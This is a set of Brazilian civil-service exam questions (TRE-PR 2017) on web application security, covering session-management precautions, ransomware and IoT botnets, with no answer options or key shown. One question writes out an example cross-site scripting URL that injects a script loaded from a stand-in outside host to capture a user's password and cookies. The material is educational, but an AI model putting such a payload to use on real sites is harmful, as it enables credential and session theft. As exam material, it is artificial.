Questões de Concurso Público TRE-PR 2017 para Técnico Judiciário - Programação de Sistemas

Considere uma aplicação em que um usuário efetua o login e, posteriormente, é redirecionado para uma tela principal. Isto poderia acontecer por meio de uma URL como a seguinte:

              http://www.aplicacaoweb.com.br/Default.aspx?usuario=idusuario

Nesta URL, idusuario indica a conta com a qual o usuário se autenticou no website.

Suponha, agora, que o usuário USER acessou a aplicação e não fez o logoff de sua sessão enquanto estava ativa. Após certo tempo, o usuário USER recebe um e-mail no qual um hacker se faz passar pela empresa que mantém o website. O e-mail fornece um link disfarçado que redireciona USER para uma URL como esta:

http://www.aplicacaoweb.com.br/Default.aspx?usuario=idusuario<script

src='http://sitedesconhecido.com/ataque.js'>solicitarSenha();</script>  

Note que o parâmetro usuario contém também uma referência para um arquivo Javascript localizado em outro website. Caso USER clique no link, o código existente no endereço externo solicitaria que ele informasse novamente sua senha e, em caso afirmativo, o atacante receberia a informação desejada, podendo também roubar outras informações presentes em cookies e na sessão ativa naquele instante.

A situação apresentada configura um ataque do tipo 

Considere os cuidados abaixo.

I. Não aceite novos identificadores de sessão pré-configurados ou inválidos na URL ou em requisições. Isto é chamado de ataque de sessão fixada. Use somente mecanismos padrão para gerência de sessão. Não escreva ou use gerenciadores secundários de sessão em qualquer situação.

II. Mantenha no código os cookies personalizados com propósito de autenticação de gerência de sessão, como funções ‘lembrar do meu usuário’.

III. Use períodos de expiração de prazo que automaticamente geram logout em sessões inativas, bem como o conteúdo das informações que estão sendo protegidas.

IV. Assegure-se que todas as páginas tenham um link de logout. O logout não deve destruir as sessões nem cookies de sessão.

V. Use somente funções de proteção secundárias eficientes (perguntas e respostas, reset de senha), pois estas credenciais são como senhas, nomes de usuários e tokens. Aplique one-way hash nas respostas para prevenir ataques nos quais a informação pode ser descoberta.

São cuidados que corretamente evitam problemas de quebra de autenticação e gerenciamento de sessão em aplicações web, o que se afirma APENAS em

Considere as notícias abaixo.

Notícia 1: “Os ataques aos dispositivos móveis triplicaram no primeiro trimestre deste ano. O Brasil, que não figurava na lista dos dez países mais atacados, aparece em segundo lugar nas tentativas de ataque. No Brasil, no ataque mais comum, o malware criptografa os dados e aplicações e pede resgate para decodificar e dar novamente ao usuário o acesso aos dados.”

(Adaptado de:http://cbn.globoradio.globo.com/media/audio/89691)

Notícia 2: “...no ano de 2016, os ataques volumétricos mais expressivos se realizaram tendo como armas as chamadas redes zumbi ou botnets, formadas por dispositivos da Internet das Coisas (IoT), como, por exemplo, câmeras de vigilância. Sua disseminação foi devido principalmente a dois fatores: em primeiro lugar, a utilização cada vez mais ampla desses dispositivos IoT por empresas e residências; depois, por características inerentes a esses aparelhos que facilitam seu ‘recrutamento’ para as redes zumbi. A complexidade dos ataques também vem aumentando com a utilização simultânea de diversos vetores para atacar diferentes pontos da infraestrutura da organização visada, o que torna mais difícil a defesa contra eles.”

(Adaptado de: https://www.tecmundo.com.br/seguranca-de-dados/116925)

Pelas características dos ataques, as Notícias 1 e 2 referem-se, correta e respectivamente, a